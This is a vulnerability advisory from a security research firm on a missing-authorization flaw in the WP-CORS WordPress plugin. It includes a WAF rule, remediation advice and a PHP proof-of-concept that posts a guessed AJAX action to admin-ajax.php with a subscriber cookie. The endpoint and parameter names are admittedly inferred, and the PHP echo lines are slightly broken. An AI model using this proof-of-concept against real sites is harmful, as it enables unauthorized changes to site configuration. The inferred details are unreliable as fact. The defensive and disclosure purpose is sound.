Atomic Edge analysis of CVE-2026-25410 (metadata-based):
This vulnerability is a missing authorization flaw in the WP-CORS WordPress plugin, affecting versions up to and including 0.2.2. The flaw allows any authenticated user, including those with the lowest subscriber role, to perform an unauthorized administrative action. The CVSS score of 4.3 (Medium) reflects a network-accessible attack with low attack complexity that requires a low-privilege account, leading to integrity impact but no confidentiality or availability loss.
Atomic Edge research identifies the root cause as a missing capability check on a function. The CWE-862 classification confirms this. The vulnerability description indicates the flaw exists in a function accessible via a WordPress hook, likely an AJAX action or a REST API endpoint handler. Without reviewing the source code, Atomic Edge infers the plugin registers a callback function without verifying the current user has the necessary permissions (e.g., `manage_options`) before executing privileged logic. This is a common pattern in vulnerable WordPress plugins where `add_action` hooks for `wp_ajax_*` or `rest_api_init` lack a `current_user_can` check.
Exploitation requires an attacker to possess a valid WordPress account with subscriber-level access. The attacker would then send a crafted HTTP request to the vulnerable endpoint. Based on WordPress plugin conventions and the CWE, the most probable attack vector is the WordPress AJAX handler (`/wp-admin/admin-ajax.php`). The attacker would POST a request with an `action` parameter corresponding to the vulnerable function, such as `wp_cors_update_settings` or a similar administrative action. No nonce check is likely present, as its absence would be a separate CWE. A sample payload would be a POST request to the target with `action=wp_cors_save` and parameters to modify the plugin’s configuration.
Remediation requires adding a proper authorization check. The patched version should implement a capability check, such as `if ( ! current_user_can( ‘manage_options’ ) ) { wp_die(); }`, at the beginning of the vulnerable function. For REST API endpoints, the `permission_callback` argument must be defined with a function that performs this check. The fix must also ensure any nonce verification is present for state-changing operations to prevent CSRF, though the primary issue is the missing capability check.
The impact of successful exploitation is unauthorized modification of plugin functionality or site configuration. The exact action is unspecified, but within the context of a CORS plugin, it could involve altering cross-origin resource sharing policies, potentially introducing security misconfigurations that enable other attacks like XSSI or data theft from other origins. This vulnerability does not directly lead to remote code execution or privilege escalation beyond the unauthorized action itself, aligning with the CVSS metrics of low integrity impact and no confidentiality impact.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-25410 (metadata-based)
# This rule blocks exploitation of the missing authorization flaw by targeting the inferred AJAX endpoint.
# It matches requests to the WordPress AJAX handler with an action parameter specific to the WP-CORS plugin.
# The rule assumes the vulnerable action name follows the pattern 'wp_cors_*' and performs a state-changing operation.
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php"
"id:202625410,phase:2,deny,status:403,chain,msg:'CVE-2026-25410 via WP-CORS AJAX - Missing Authorization',severity:'CRITICAL',tag:'CVE-2026-25410',tag:'wordpress',tag:'wp-cors',tag:'WAF'"
SecRule ARGS_POST:action "@rx ^wp_cors_(update|save|delete|modify)"
"chain,t:none"
SecRule &ARGS_POST:action "@eq 1"
# Alternative, more permissive rule if the exact action pattern is unknown but the plugin slug is certain.
# This rule blocks any AJAX action for the 'wp-cors' plugin from non-administrative users.
# It requires a separate rule to detect admin status (e.g., via cookie or capability), which is complex.
# The primary rule above is preferred as it is more surgical.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-25410 - WP-CORS <= 0.2.2 - Missing Authorization
<?php
/**
* Proof of Concept for CVE-2026-25410.
* This script demonstrates unauthorized access to a WP-CORS plugin function.
* ASSUMPTIONS:
* 1. The vulnerable endpoint is the WordPress AJAX handler.
* 2. The vulnerable AJAX action hook is derived from the plugin slug ('wp_cors').
* 3. The action performs a state-changing operation (e.g., updating settings).
* 4. No capability check or nonce verification is present.
* A valid low-privilege (subscriber) WordPress session cookie is required.
*/
$target_url = 'https://example.com/wp-admin/admin-ajax.php'; // CHANGE THIS
// WordPress authentication cookie for a subscriber user
$wordpress_cookie = 'wordpress_logged_in_abc=...'; // REPLACE WITH VALID COOKIE
// The AJAX action is inferred. Common patterns include 'wp_cors_update' or 'wp_cors_save'.
$inferred_action = 'wp_cors_update_settings';
$post_data = array(
'action' => $inferred_action,
// Assuming the function expects a 'cors_rules' parameter. This is an educated guess.
'cors_rules' => 'malicious_config_value'
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
'Cookie: ' . $wordpress_cookie,
'Content-Type: application/x-www-form-urlencoded'
));
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
echo "HTTP Response Code: $http_coden";
echo "Response Body: $responsen";
// A successful exploitation might return a '1' or a success message.
if ($http_code == 200 && !empty($response)) {
echo "[+] The unauthorized action may have been executed.n";
} else {
echo "[-] The request was not successful or the endpoint/action is incorrect.n";
}
?>
